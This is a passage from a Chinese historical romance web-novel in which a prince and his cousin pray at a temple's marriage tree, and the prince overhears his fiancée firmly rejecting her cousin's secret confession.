百里漾道:“舅母说城外有座云山寺,寺中有一株千年的姻缘树极是灵验。我与栋表兄便约了后日去一趟。” 他如此乖觉让皇后很是欣慰,不忘嘱咐道:“记得多带些人,不管怎么说安全为上。” 上一次百里漾围场遇刺着实将皇后吓到了,一连做了两日的噩梦,直到最近才好些。虽然觉得如今应当再无人有胆子行刺杀之事,但凡事小心警醒着些总是好的。 百里漾自是应下。虽然每次想起那支暗箭仍是心有余悸,但也不能因此就不出门了。刺杀这事已经叫皇帝阿爹知道了,有一就不能有二,除非他那些异母兄弟们是真的昏了头想试试自己的头有多铁挨不挨得起皇帝的铁锤。 母子俩说完了要去云山寺的事情,百里澄捧着皇后要喝的汤药回来了。 汤药被端到百里漾面前,他很顺手地接过去,侍奉皇后服用汤药后也告辞了。皇帝知道百里漾这些时日都在宫中陪皇后用晚膳,特地给了他一道手令让他可以叫开宫门出宫回王宅。 姐弟俩一道从椒房殿离开。百里漾走的是出宫的路线,眼看着百里澄到了分岔口依旧与他步伐一致,他便知道阿姐是有话同他说。 步入一条长长的步道,四下旷然,百里澄道:“派去围场查探的人来报,根据箭支的制式、入树的深度及羽林卫这些来看,当时刺客与你的距离当在八十步左右,弩箭达不到这样的效果,刺客用的是强弓,寻常的弓箭手做不到如此。” 虽说围场行刺的事情被皇帝揭了过去,但在百里漾他们这里还没有结束。刺杀之事,哪怕怀疑是那些异母兄弟干的,也总要弄清楚究竟是谁做的。处在他们的位置上,任何潜在的危险都不应该被忽略轻视。 “老三他们手底下何时收揽了这样的能人?”百里漾自己就是学过射箭的人,甚至射术还能被人夸赞一声“过人”,自然能明白长姐说的“强弓”需要强到各种程度,许是三石弓。能拉开三石弓的弓箭手必须有惊人的臂力,还能有如此准头的,放眼整个大衍都难凑得出一掌之数。 百里澄道:“天下之大,他们有心,总能叫他们搜罗来几个。别忘了,老三几个的封地可是很靠近北边的。” 封到各地的诸侯王据地一方,手里有钱有权,多的是人想要投之门下为将做官奔一个前程。诸侯王只要有心招揽人才,不愁没人来。况且北边那地方,再过去就是离渊,武风更盛,出几个神射手也不足为奇。 “这般能人,即便藏得了一时也藏不住一世,总会冒出头来的。”百里漾原先微微皱起的眉头一下又松开,“总归有了个追查的方向。” 辛辛苦苦招揽来人就是要拿来用的,越是厉害的人就越是如此,甚至在关键时候还可能会有意想不到的奇效。幕后之人手底下有这般厉害的神射手,这次之后必会使他隐匿一段时间,等时机差不多必然还会再用的。如此一来,人总能现形的。 说话间,姐弟两人已来到宫门处。守卫此处宫门的将领见二人过来上前行礼,在验看过皇帝手令之后,令士兵打开宫门,朝百里漾拱手,让开了道路。 百里漾向百里澄告辞后,刚要转身朝宫门外走去,就听长姐说道:“对了,五郎。后日去时往周边瞧瞧景致,说不得有惊喜在等着你。” 这话听着有些莫名,百里漾目中略带疑惑看向长姐。百里澄却不打算与他多说,只是眸中含笑不语。 百里漾纵使摸不着头脑也不好回头去问,镇守宫门的将领还等着他一走就关门呢。 “长公主,夜里风大,还是早些回宫,免得着凉。”高大沉重的宫门缓缓阖上,宫门将领看着不远处被夜风吹起裙摆飘飞的栎阳长公主,眼中有光微微闪动,大步向前,在一丈之外停下,拱手朝百里澄说道。 百里澄眸光很淡,目光射过来似乎能将人穿透,将领的心思也无所遁形。将领年纪在二十许,百里澄记得他是少府家的次子,以前曾见过一两次,没什么印象。她没什么想法,道了一声“辛苦”便转身离开了。 大抵子女姻缘都是为娘的心中的一道愁事,顾宅后宅主母所居的院落之中,顾氏正在对着一堆画像琢磨着儿子的婚事。她儿子家世出众,品貌才德亦俱佳,背后又有位高权重的舅父提携,未来更是前途无量,自然配得上一位家世品貌样样都好的妻子。 这个样貌虽好但家世有些低,家中只有父兄二人为官,官阶有些低;这个家世好,父为九卿之一的太常,只是相貌方面有些欠缺,儿子怕是看不上……看来看去,不是家世低就是样貌差点,要不就是性格不好,就没一个能完全符合她心意的。 顾氏将案面上的这些女子画像翻来看去,只觉心烦。比来比去,她发现竟没有一个比侄女颜漪更为合适的,儿子喜欢又能亲上加亲,再好不过。只可惜侄女不久后就要嫁与江都王为天家妇,与儿子终究是有缘无分。 她想着为儿子张罗婚事,毕竟儿子的年纪也不小了,也更怕儿子死心眼还惦记着侄女。而男子与女子不同,等成家生子后,以前的心思也会淡去,一切就会好的。 顾氏本想与夫君讨论儿子顾晟开的婚事,但顾老爷最近甚少在家中,她连找他都找不到。可自己一个人考虑此事未免会欠妥,她便想到了自己的嫂子曹氏。曹氏为国公夫人,她交际圈子中的人皆是湛京之中一等一的夫人贵女,交际面广,识得人多,对京中贵女多少都有些了解,寻她商量可以避免有思虑不周全之处。 “夫人,公子回来了。”正当顾氏沉思时,伺候的婢女进来禀报。 “快去请公子过来用膳。”顾氏欢喜,忙吩咐婢女道。 婢女快步去了,没过多久回来,在顾氏期待的目光之中吞吐道:“公子说他军中还有公务,换了身衣服就出去了,请您不必等他,自个用膳便是。” 第42章 出行(一) “这样啊。”顾氏心中略微失落, 看着面前精致可口的菜肴与左右空荡的位子,轻叹口气,吩咐婢女道, “布菜吧。” 另一头顾晟开从顾宅出来后直奔南衙衙署。他身为校尉,官职不算低,平日里除了坐衙镇守还有巡逻、操练兵卒的任务。今日便是领着巡逻的任务,只是到了晌午,烈日当头, 盔甲之下全叫汗水浸湿了, 于是便午间趁着休息的空挡回家换一身干净的衣裳。 “顾兄这是从哪处温柔乡回来呢?”回来时, 顾晟开迎面碰上与他同级别的两个同僚。其中一个鼻子嗅动了两下,眉眼变得促狭, 笑容颇是暧昧,将他上下打量。 “安校尉在说什么, 我听不懂。稍后还有任务在身,就不奉陪了。”顾晟开与这两人没多少交情, 抱拳后就离开了。 这副连应付也懒得的姿态就是妥妥的不给脸了, 还透出一股不屑搭理的感觉。 “瞧他那副傲气样, 得意什么啊?”安校尉不爽,“方才那一身的脂粉味,说不得是半道去会哪个相好了。装什么清高脱俗,还不是忍不住了。” 湛京之中有不少勾栏瓦舍,他们南衙里有些没成亲的会去那里找个相好,有些即便成亲了也还会在外边养着一个或几个相好的。有时候轮到休沐日,一群人结伴而去也是有的,而顾晟开是从来不去的那批人中之一。私底下有人看不惯,认为顾晟开故作清高, 而这安校尉就是其中之一。 “你这是何意?” “何意?哼哼。”安校尉嗤笑一声,转头看四下无别人,略压低声音说道,“都是男人,还能不懂他的别有用心。眼看着国公嫡女表妹娶不成了,就不装了,转头找女人去了呗。” “你是说……” “公府贵女,如花美眷,谁不想娶。更何况那厮还占着表兄妹的名分,青梅竹马,想近水楼台先得月。可惜喽,人家哪里瞧得上他,也不照照镜子看自己配不配。呸!” 另一人知道安校尉与顾晟开素来不合,他也看不惯顾晟开,只是没有表现得如此明显,“你是说他想做定国公的乘龙快婿?” “外甥哪有女婿稳当?”安校尉笑得暗含深意,眼底含着嫉恨,“不过女婿当不成,总归还是外甥,有定国公做着靠山,他也不怕什么了。上回无故缺值离守,都尉不也只罚了他十军棍。” 按照军规,缺值与擅离职守同罪,怎么着都不能只是轻飘飘地打十军棍就完了。无非是都尉看在顾晟开背后定国公的面子,轻拿轻放了。安校尉这些人自然不服。 “背靠大树好乘凉,谁叫咱们没有这个命呢。若没机遇,这辈子也就只能苦苦熬着了。” 一日过得很快,日升日落再日升,便到了该出发往云山寺的日子。 崔栋早早就来了,他一身蓝服锦袍,腰间束一条饰金腰带,脚踏黑靴,整个人显得蜂腰虎背,极其精神,满面红光看着不像是去上香而是去相亲的。 崔栋一路跟阵风似的进来,边走边喊,“五郎五郎,怎么还没起身?我跟你说,今日休沐,日子又好,往那去的香客可多,去晚了可就是人挤人了。” 他的手刚摁在门环上,百里漾的声音就传出来了,“你再闯进来我就打你一顿。” 崔栋悻悻地收回了手,扭头叫旁边的侍女给他沏壶茶,他就在门口坐着等了。里面的百里漾也没让他等多久,正好是一盏茶的时间,衣装整齐的百里漾就从里面出来了。 “看你还没有用早食,我们吃完再去。”崔栋又不着急了,跟在百里漾身后一步意图蹭饭。 百里漾无语。在江都时崔栋来蹭饭也就算了,这都回湛京大将军府家里了,舅母还能让他没有早食吃么?他严重怀疑崔栋是吃过一回后又到他这里来蹭饭了。 李氏所说的云山寺坐落在湛京城南郊外二十里处的一座山顶上,山势平缓,山道亦修得宽阔,人骑马坐轿也可上去。百里漾与崔栋此行拢共带了二十名护卫前去,行至山脚下,抬头远望可见白烟袅袅不绝,便知此处香火之鼎盛。山道之上也可见往上去的人络绎不绝,男女老少,步行的骑马的坐轿的,应有尽有。 人多,百里漾和崔栋带来的护卫都骑着马,一下子上去可以把山道全给堵了。他们还不至于这么霸道,否则来之前以江都王的名义告知云山寺清场了。 于是,百里漾和崔栋选择下马,徒步上山。护卫将他们护在中间,皆佩刀,一脸肃容地警惕四周。这么一群人出现在山道上还是有些怵人的。好在这里是湛京,天子脚下,王公贵族扎堆,屋顶上掉块瓦都能砸到个官,百姓们也算是见多识广,只当是哪家的子弟出行,看着凶神恶煞的,离远些就行了。 云山寺的规模不算特别大,但胜在环境清幽,树林掩映,枝头上夏花烂漫,寺庙就藏在如斯景色之中。 穿过朱红色的寺墙开出的门洞,再往前就是一座立于大雄宝殿前的葫芦形大香炉,其内香燃如林,升腾而起的香雾缭绕至半空,经久不散,闻之有檀香,并不熏燎。于香炉右前方设有一案,案上置香,旁边站着一名小沙弥。每当有香客前来,小沙弥先合手作礼,让人随意取用案上之香。 百里漾和崔栋随流上前取香,到大雄宝殿内参拜敬香。不多时便有一名身着七宝袈裟的僧人在身后两名小沙弥的随同下朝二人走来。 云山寺的主持是一名得道高僧,年岁在七十上下,头顶戒疤,须发皆白,慈眉善目,一双长眉长眉飘逸垂下有一指长余,双手合礼道:“见过二位檀越。” 二人亦回礼。崔栋道:“久闻大师慈名,家母命我来此必先拜见大师。”李氏是云山寺的常客,平日里颇是虔诚。崔栋来云山寺,李氏对他是有过吩咐的。 他一说李氏,主持就有印象,也因此知晓了他们二人的大致身份,又想起李氏往日前来念叨过的有关儿女姻缘的愁事,对二人起来的目的也心中有数了。 主持说道:“殿后有一林,林中景致尚好,二位檀越可前往一观。寺中备有斋菜,若不嫌弃,二位可在寺中用了斋饭后再行离去。”他是高僧,便有许多人慕名而来,想与之探讨佛理或是寻求开解。在与百里漾和崔栋说话的这一会儿功夫,就有好几人在旁候着了。 “大师请便,我二人自行在寺中参观便是。”百里漾说道。大师是忙人,他们不好耽误人家时间。 与主持告辞之后,百里漾与崔栋便朝后山走去。半途中,百里漾想到方才主持对他们前来目的之了然,只怕是李氏之前没少在主持面前提起儿女姻缘之事,不由笑道:“想来等你成亲之后,舅母得了空就要亲来寺中还愿的。” “来就来呗。若届时我还在湛京,陪她走这一趟。”崔栋说道。亲娘为他的婚事操了多少心,崔栋是知道的,不可能不领情。卢氏亦合他的心意,这该是桩好姻缘,成亲之后陪同母亲前来还愿亦是应当的。 百里漾算了算日子,怎么着都要等他成亲之后才会返回江都,遂告诉崔栋,“你放心,还愿这事你准能陪舅母来一趟,届时还得带上表嫂。” 他随后想到自己也要成亲了,而成亲之前来拜姻缘树,若无意外,之后也是要来还愿的。只是,他的还愿可能要等下一次回湛京了。 穿过好几座供奉的殿宇,越过一座小石桥,百里漾与崔栋便来到了一片树林之中。树林茂盛,许多不同种类的树木拔地而起,因是正值夏日,许多树的枝头上缀满了各色的小花,枝叶葱茏,青翠与各色杂糅期间,一派生机盎然之景。 林中有不少人,俱是来此上香的香客,以青年男女居多。百里漾想到寺中的小沙弥曾对他们说,姻缘树就在这片树林之中,见此也就不足为奇了。皆是来求姻缘之人,这一刻他们与这些人并没有什么不同。 姻缘树不远,百里漾与崔栋再往前没走多久便到了。只见一株足有八人合抱粗壮的大树拔地而立,足有一丈高,远看绿荫如盖,将附近两丈之内的半空都遮蔽了。此树据说树龄已逾三百年,看似一株实则为两株合抱,根部相连,树干紧紧相依,几乎要融为一体;枝叶亦交错相交,向四周伸出更多细长的枝干,一块块系着红色丝绳的姻缘符便勾连在其间,向下缀出一大片耀目的红色来。 这姻缘树瞧着便喜庆,让人一看就想过去拜拜。实际上已经有人在拜了,还很多,男男女女都有。姻缘树的周围用篱笆围了一圈,这些男男女女们就围着这一圈篱笆在祈福、挂符。 “等等,且先瞧瞧。”崔栋刚要大步上前,被百里漾拉住了。他们初来乍到的,还不知道祈福的流程仪式,左近也没有寺中之人讲解引导的,还是先看看别人是怎么做的再说。 崔栋一想也是,他们此行可是诚心来求姻缘,祈求婚事顺遂、幸福美满的,自然得严格按照正确的步骤来,否则漏了哪一步或是做的不到位,得不到保佑怎么办?于是,两个人挺直腰背,看似一派正直假装不经意实则眼睛一直在暗搓搓地盯着人家的动作。 第43章 出行(二) 看了约莫一刻钟之后, 百里漾和崔栋都觉得自己学会了,正要上前照着做,然后发现了一件至关重要的事情。 姻缘符呢?这些人手里的红色丝绳和姻缘符是哪里来的? 正当他们要上前去询问那些手里已经拿着姻缘符的香客时, 一名青年沙弥抱着一个托盘大的红色麻布袋子从树林中钻出来,一路单手作礼喊着“借过”,直至绕过人群来到了一方桌案之前。也是因此,百里漾与崔栋才发现姻缘树左前方摆着一张桌案,只不过此前因为角度以及人群遮挡视线的原因, 他们一直没有看到。 百里漾和崔栋:“……” 这云山寺不仅为前来上香的香客提供香, 还免费提供姻缘符, 真的是很贴心了。 二人先去取姻缘符。 “二位檀越,请取符。”青年沙弥双手合礼念佛号, 示意他们将手伸入袋子中取符。 百里漾与崔栋依言照做,分别取出一枚来。放在于中端详片刻, 发现绣工颇佳,针脚工整细密, 面上的连理枝缠绕的细节都绣出来了, 可见用心。 崔栋取了符, 等了片刻发现真没下文了,他试着问青年沙弥,“小师父,这拜求祈福有没有什么讲究?”不算算八字或者抽个签么? 百里漾也是这个意思,亦看向青年沙弥。 “心诚则灵,愿二位所愿皆可得。”青年沙弥双目含笑,双手合十再念一声佛号。 心诚则灵,旁的做太多,心不诚也是无用功。 百里漾被一言点醒, 似乎他们是有些紧张以至于束手束脚了。 祈福时,只需将姻缘符放在双手合起的掌心里,闭上眼在心中祈念,再对着姻缘树三拜即可,最后将手中的姻缘符以红色的丝绳系挂在姻缘树的枝头上就完成了祈福。 亲自将姻缘符挂上枝头后,百里漾看着随风飘摇的红符,不可避免地想到了自己的未婚妻颜漪。不可否认的是,他们之间缔结婚姻的缘由是很冰冷的,最根本的原因是两方出于正直的需要进行的联合,他与她都可以算作是两边条件合适的代表人。 可单纯这么想未免又太过冷酷。 不管怎么说,他们以后都会是亲密无间的夫妻,哪怕一开始的结合不是出于爱,他也希望他们日后能够培养出真正的感情,而不是相敬如宾,甚至面和心不和、同床异梦。他们俩是走不了正常先相识、相恋再成婚的流程了,但能先婚后爱也不错。 百里漾祈完福,转头看见崔栋还在对着姻缘树祈念,走近点还能听到他嘴里的念念有词,“求漫天神佛保佑,保佑我日后一定生一个大胖闺女和小子,保佑,保佑。” 百里漾:“……” 不得不说,崔栋与卢家姑娘感情培养的进境堪称神速。从一开始崔栋的百般不情愿、忧心忡忡发展到连以后要生几个娃都想好了,前后也就月余的时间。或许他真的应该反思自己一下了,从上次在定国公府见过面之后,他与颜漪之间似乎真的没有其他的互动了。 百里漾皱着眉陷入了苦思之中。 “想什么呢,怎么一副苦大仇深的模样?”崔栋系好姻缘符,见他站在原地沉思,不由过来捅咕了一下百里漾。 苦大仇深? 百里漾想自己怎么可能是这种表情,一脸无语地看着崔栋。 “接下来还有什么安排,将周围都转转?” “我阿娘说要我去观音殿中替她敬香。”崔栋说完摸了摸肚子感受了下饥饿感,“听说此地的斋菜不错,到点正好可以去用午膳。” 观音送子,李氏盼着抱大孙子,是该去敬香。 百里漾点头,“那你去吧,我去周围转转。” “此处人多……”崔栋有顾虑,担心有刺客。他一直记着上次在围场时他们分开之后百里漾差点就被刺客得手了,现在想起仍是后怕不已。云山寺香火鼎盛,来此地的香客鱼龙混杂,什么人都有,最是容易混进刺客。 百里漾并不觉得如今他那些有心谋大位的异母兄弟还会有谁有胆子来刺杀他。一旦动手,不管成功与否,皇帝都会严查到底,他们将会永远与皇位无缘,再不会有任何机会触碰到那把龙椅。崔栋觉得此时仍不能掉以轻心,那些诸侯王还在京,鬼知道他们会不会突然发疯。他坚持两人不能分头行动,不行他就一直跟着百里漾。 这事也没有什么好争执的,且拜观音是李氏吩付的,百里漾便跟着崔栋一道过去。从观音殿出来之后,时间也引了午时。寺中有沙弥来请二人去斋堂斋饭。他们没有拒绝,带着随行护卫一道去了。 一群人,俱是人高马大,气势不俗的,这一路过来实在显眼。纵是有高门贵族带着仆人随从出行的,可谁家也没有他们这样的气势,尤其是领头的两位公子,当真是俊朗贵气不凡。 有想打听他们来历的,可在周围问了一圈也没得出个结果来。有些没太在意有些女眷看着就颇为心动,这些来云山寺的高门贵族们其实很多都是为了求姻缘来的。如今见了两个如此不凡的公子,确实有些是动了心思。 可是今日怕是打听不出来了,着实可惜,但日后未必没有机会。湛京虽大,可实际上权贵们的交流圈子也就那么点,这两位公子若真是哪家子弟,日后多参加几场雅集、宴会,总有机会能够再次见到的。 百里漾和崔栋这两个虽未婚却即将有妻的人还不知道自己来云山寺一遭就已经被某些眼光独到的夫人贵女一眼瞧中打着来日方长的心思预备着看看能不能发展成自家女婿/夫婿。 他们从斋堂出来,人均吃得饱饱的。二十来个人高马大的青壮年,干的是体力活,饭量个顶个的大,吃的是挺多的。为免让人觉得他们是来蹭寺中斋饭的,大家都捐了不少香油钱。 随行的护卫之中百里漾和崔栋记着还有好些个没有成亲的。在姻缘树那里时,崔栋就与他们说了,“既然都到这里了,你们没成亲的还不趁这个机会去求个好姻缘,拜拜祈个福啥的,心诚则灵,日后指不定就有如花似玉的媳妇给生大胖小子了。” 老婆孩子热炕头想想就令人激动。虽说在外辛苦拼搏可回家就有妻儿在家中等你,这对于这个时代的未婚大龄青年来说,诱惑力非同小可。况且这姻缘树是大王和都尉都亲自来拜求祈福的,肯定是灵验啊。当下就抱拳谢恩轮换着去拜姻缘树去了。他们都是江都王的近身侍卫,下次也不知道有没有再来的机会。若是真娶上媳妇,怕日后不能亲来还不了愿,只能在香油钱上略表心意。 从斋堂出来之后,百里漾他们并没有马上下山离开,崔栋说肚子吃得有些撑,不若走两圈逛逛消消食再离去。百里漾想了想回去又没有什么要紧事,答应了。 逛着逛着,他们走到了后山一僻静处。边上长有一棵生长茂盛的榕树,夏日绿荫如盖,投下一块大阴影,正好可以挡挡日头。 “迎亲之时,定国公会赶回来么?” 两人的婚期将近,今日又来了云山寺,那就说说有关婚事筹备的事情呗。 “此事还不知,或许不会特意赶回来。”百里漾微微摇头,“北边离渊近来有些不太安分,定国公坐镇北方,这关头若是离开,只怕离渊会趁机生事。” 以大局为重,十有八九皇帝是不会让定国公特意跑来一趟的。百里漾忽然想到,自己成亲这样的人生大事,父母双亲若是不能皆在场,对于颜漪来说想必也是一个不小的遗憾。 抬头看日头渐偏西,百里漾说了一句,“行了,时间差不多了,回吧。” 正当他们转身要离开这里时,听到了另一面传来脚步声,是有人来了。百里漾没当回事,这地虽然僻静但也不是没有人来。他们能来,别人也能来。 “若是无事,我该回去了,母亲还在等我。”耳边忽然传来一名好清冷的声音,来人是一名女子,但并不只她,因为脚步声错落杂乱,不是一人能够发出的。 百里漾无心偷听他人的对话,抬脚欲离开却突然觉得这声音分外熟悉,脚下像意识地一顿住。崔栋也听到大榕树的另一面有人来了,跟随百里漾的步伐离开,敏锐地察觉到他突然的顿住,脚下也跟着停住了,投以询问的目光。 百里漾已经能够确定声音的主人就是颜漪,他不会听错也不会记错的。他忽然记起前夜出宫时长姐百里澄同他说的“惊喜”,原来是这么一个惊喜。怪不得阿姐会同他说“不要着急回来,回处逛一逛会有惊喜”。原来她早知道今日颜漪也会来云山寺。百里漾没有察觉到自己眼中飞快地涌现出欢喜,既然已遇见,他便想着出声告知对方自己的存在。 这颗大榕树实在是过于粗壮茂盛了,来时方向的一侧连着寺墙,若非声音,仅凭视线,百里漾恐怕都发现不了对面有人。他想过去见面,只需从另一段绕过去即可。 崔栋也听到那道女声了,但他可没能如百里漾一般认出声音主人的身份,毕竟他与颜漪只在游园会上见过一面,后续就没有接触了。不过,看百里漾的反应,崔栋便知道他是认得对面的女子的,甚至还想过去与之见面。崔栋觉得自己差不多猜到对面女子的身份了。 第44章 出行(三) 百里漾想绕过榕树大大方方地与颜漪相见, 折返回头走了好几步至树的另一头,正准备绕过去时,听到了另一道不属于颜漪的声音, “七娘,你别着急走,我有话同你说。”他的脚步因此顿住。 这是一道男声。 百里漾对它的熟悉不如对颜漪的声音,但也能认出来,这道声音的主人是顾晟开, 而他的身份定国公的外甥、颜漪的表兄。这次他也随着来云山寺了。 崔栋的脚步亦随着定在地上, 他也认出对面的人是顾晟开了, 面上的神情有些微妙,这四下无人又孤男寡女的, 实在是容易让人多想。不等百里漾开口,他便向后退开六七丈的距离。这是一个稳妥且安全的距离, 保证了百里漾始终能够位于他的视野之中,一旦有事他可以迅速冲过去保护王驾。 一树之隔另一面的人似乎并没有发现榕树另一侧还有人在。颜漪秀美微蹙看着眼前的顾晟开, 并不想与他在此多待, “母亲怕是已经在寻我, 表兄之事不妨日后再说。” 婚期将近,她本该留在家中备嫁。只是今日母亲曹氏要来云山寺敬香,为她即将到来的婚事祈愿,她便随着一道来了。敬香拜佛之后,母亲曹氏去寻了主持大师求教佛法,她便出来四处转转、看看风景。 行至一处山道,身边一名婢女过来同她说卢家姑娘今日亦在寺中,请她过去相见。她与卢家姑娘相识,关系不错, 不久的将来亦会成为表妯娌。卢家姑娘相邀,她没有多想便过来了,不想来到此处,发现在此处等她的根本不是什么卢家姑娘,而是他的表兄顾晟开。当即她就意识到自己是被骗了,不,应该说是被身边人背叛了。 颜漪说完就要转身离开,她冷漠决绝的态度不仅刺痛了顾晟开的眼也更刺痛了他的心,他朝着颜漪疾走两步,伸手就要抓住她的手。颜漪被他突兀且失礼的动作惊着了,连连后退三步,避开他抓过来的手并喝止住了他的动作,“顾表兄!” 顾晟开看着站在距他两丈之外的颜漪,像是被她眸中的冰冷冻住,不甘心地问道:“难道在你的眼中,我只有你的表兄这一层身份么?你明明什么都知道,可这么久以来却偏偏能够做到对我熟视无睹。” 他在控诉颜漪的无情,他对他的心意,明明她一直以来都看在眼里,却能够冷心做到不闻也不问。她对他始终划有一条线,她从不会越界,也不允许他越界。他以为自己会有机会的,只要他有耐心,也足够的努力。他一直在努力让她看到自己,努力让别人看到他。可最终的结果是,那条线始终存在,而那些人也从来看不到他。等来等去,最终他等来的是自己心爱之人即将要嫁给别人的消息。 他不甘心,真的好不甘心! 颜漪再一次被顾晟开惊到了,因为他出人意料的举动以及此刻所说的惊人之言,更因为顾晟开显露出的这一面。顾晟开说的有一点没有错,她过去确实隐隐察觉到了他对她产生了男女之情,但这是单向的,在她这里,他只是表兄。 在察觉到顾晟开对她的这份感情之后,颜漪逐渐减少了与他的接触,也屡次拒绝他的示好她,通过这样的做法表达拒绝。渐渐的,顾晟开碰壁的次数多了,也慢慢的退回了原来的位置。她以为顾晟开已经歇去了对她的心思,但事实表明这也仅仅是她单方的认为罢了。 其实顾晟开的心思在游园会主动寻江都王比箭时已经再现端倪了。比箭的事情最终没有酿出祸事,颜漪也当顾晟开是一时冲动,信了几分他是想为她试试江都王本领的说辞。到底他是她的表兄,这么些年的兄妹情分与了解总是有的。颜漪觉得顾晟开哪怕没有完全放下对她的那份心思,但理智总是会有的。如今圣旨已下,再过不久她就要嫁与江都王为妇,顾晟开该明白无论如何他们是不可能的。 在此前颜漪绝没有想过,顾晟开竟然会买通她身边的人骗她来此相见。大婚在即,却又发生这种事情,若是让人看到,再被有心之人用去大做文章,对她、对定国公府绝不是一件好事。他是疯了不成?! 颜漪并不想继续留在这里,可看顾晟开这副模样,有些事情最好是要明明白白地说清楚了。她抬眼目视顾晟开,认真且坚定道:“顾表兄,在我的心里,你一直是如同亲兄长一般的存在。除此之外,再无其他。” 顾晟开不愿意相信,他直直盯着颜漪的眼眸,重复她最后的话,“除此之外,再无其他?”他无比期盼着能够在她的眼眸中看到动摇、心虚或是她会避开与他直接对视。 可是,没有,这些通通都没有。 颜漪的目光是那么的真切坦然,她说道:“除此之外,再无其他。” 一句话而已,对于此刻的顾晟开来说却是杀伤力十足,他觉得自己胸腔之下的那颗心脏似乎被狠狠捏紧甚至捏碎,眼底开始向上浸染出一片猩红之色,垂下的手死死攥成拳,手背上暴起青筋狰狞。 颜漪说完之后立即转身离开。 在她离开之后,顾晟开站立在原地不动,久久之后才离开。他的站位正好是背对着百里漾的方向,百里漾并不能看到他的神情。甚至因为榕树的枝叶过于茂盛,他也没有绕过去,从他的角度看过去两人的身影被枝叶遮挡了绝大部分,他看不清他们的面部神情变化,只听到了他们之间的对话。对面的两人也没有发现榕树的另一面还有第三人存在。 在颜漪、顾晟开先后离开之后,百里漾稍后也转身离开。 “如何?”在不远处候着的崔栋见百里漾朝他走来,迎上去几步,压低声音问道。他听不到对面之人说了什么,但看百里漾的模样,应该没有什么特别要紧的。 “无事。”百里漾摇摇头说道。他知道崔栋在担忧什么,但此事不宜让更多的人知道,故而他只是对崔栋简单地说了一下,别的也没有多言。 “那便好。”崔栋道。他站得远,对于榕树另一面发生了什么完全是一无所知。百里漾的大婚在即,谁也没有预想到会有这般情况发生,这完全是意料之外的状况。于公于私,崔栋都不希望有不好的状况发生。 顾晟开这个人,崔栋以前听说过他,甚至因为顾晟开曾受教于定国公的缘故,崔栋在湛京曾经与他见过几面。当然仅仅凭见过几面的关系不足以让崔栋对他有多大的了解,对顾晟开与定国公一家的关系如何也不完全清楚。顾晟开对颜漪有男女之情……其实并非不能理解,表兄妹,又是青梅竹马,高门贵族之间这样的联姻并不少见,只是这次定国公府与顾氏之间并没有选择进行联姻。 其实在游园会比箭时,崔栋就隐隐感觉到顾晟开的不对劲。以一个男人的直觉来说,崔栋那时就觉得顾晟开的状态有点像是被抢走了猎物后的愤恨不甘,他甚至察觉到顾晟开对百里漾似乎藏着一股敌意。只是后来没有闹出事来,对方亦有圆场的说法,他便没有多想。从现在的情况来看,哪里是他多想,顾晟开还真有这份心思。不过好在是“襄王有梦,神女无心”,定国公府一直都很理智有分寸。 反观顾晟开…… 崔栋现在对顾晟开的观感极其糟糕,若非是顾忌到他还有定国公唯一外甥这一层身份,单凭他今日的所作所为,高低也得要让他脱一层皮出来。但不行,他不能贸然行事。顾晟开最好自己认清现实,把自己那些不该有的心思通通都收回去,若是他还拎不清,不肯死心,就不要怪他心狠手辣了。 与崔栋的愤怒不同,怎么说呢,百里漾心里算是松了一口气的。他心知自己与颜漪的结合是无可更改的两家联姻,这桩婚事并不以他和颜漪两人的意志为转移,且这件事情一旦开了头,基本没有了回头的可能了。顾晟开今日在云山寺私底下找颜漪表明心迹之事提醒了他,似乎从一开始他就忽略了颜漪可能有心上人这件事情。 若是心有所属却要另嫁他人,那么对于这桩婚姻中的他和她都不友好,毕竟前车之鉴不远,百里漾并不希望自己与颜漪也走上“前人”的老路,那样日子过得也太难受了。好在颜漪明确且坚定地拒绝了顾晟开,这份感情只是顾晟开单方面的一厢情愿。 百里漾与崔栋离开云山寺之时看到了定国公府的人,说明定国公夫人曹氏与颜漪仍在寺中敬香礼佛。若是没有发现顾晟开私下约见颜漪表明心迹的事情,百里漾作为未来女婿,怎么都是要去问候一声的。但现在,他们还是不要惊动任何人默默离开吧。 “阿娘。”颜漪从榕树那里离开之后很快就回到了母亲曹氏的身边。曹氏正在寺中的一处静室中休息,眼见女儿如此快就回来微微有些诧异,不由问道:“怎回的如此之快?没有与卢家姑娘多说两句话?” “卢家姑娘今日并没有来云山寺。”颜漪目中有冷意,面上却平淡说道。 曹氏何其敏锐,只听这一句话就察觉到了不对,甚至她还注意到颜漪身边少了一个婢女。她不动声色,面上只说道:“好了,时候也不早了,让你二兄去与主持大师道别后我们便回去罢。” 第45章 处置 这次曹氏与颜漪母女两人来云山寺是由次子颜青梧陪同的。颜漪与江都王的婚期将近, 未免有心人心生歹意或临了生乱,出行护卫之事由亲兄长负责是再好不过。曹氏也有意识地不使女儿与其他外男接触,避免产生什么不必要的麻烦。她都如此小心防范了, 没想到乱子竟然出在了内部之中。 待母女两人上了马车且马车走动一段之后,曹氏才问颜漪发生了何事。颜漪毫无隐瞒,将自己被顾晟开使人诓骗至榕树那处以及之后的事情简单说了,最后说道:“此事当去信让阿爹知晓。” “自然要让他知晓。”曹氏重重拍了一下手边的软垫,怒道, “我自问往日待顾晟开不薄, 他竟如此来害我的女儿, 真真是养出了一个白眼狼。他此举究竟想将你、将定国公府置于何地?” 曹氏乍闻听此事,气得胸中一阵翻腾, 气息都不稳了。 她丈夫一直怜惜胞妹嫁得不好,平日里多有嘱咐让她多关照那母子二人。她也照做了, 过往亦是真心实意地对顾晟开这个外甥好。而因为丈夫前些年曾经教习顾晟开武艺的缘故,他时常来国公府吃住, 因此与女儿的接触也颇多, 两人确实可以称得上是一起长大。可他们从来只让两人当一般的表兄妹相处, 亦从未透露过一丝半点让两人亲上加亲的意图。更何况,颜漪是她的女儿,她如何看不出女儿根本就对顾晟开无意,只拿他当兄长看待。 曹氏不相信顾晟开会看不出来这些。长辈既无意,女儿对他也无男女之情,更何况如今女儿与江都王的婚事在即,在这种情况之下,即便顾晟开真的有心也该退回到自己兄长的位置上去,而不是私底下做出这种容易给她女儿乃至定国公府招祸的事情。 这哪里是真心喜欢她女儿, 这分明是要害她女儿。 “阿娘不必生气,既已知道他用心不纯,我们日后少与之往来便是。”颜漪想起顾晟开在榕树下的“惊人之语”,惊吓之余便是心生厌恶。她以前从未察觉到过顾晟开对她有那种心思,究竟是自己过于大意忽略了还是他太会伪装了。 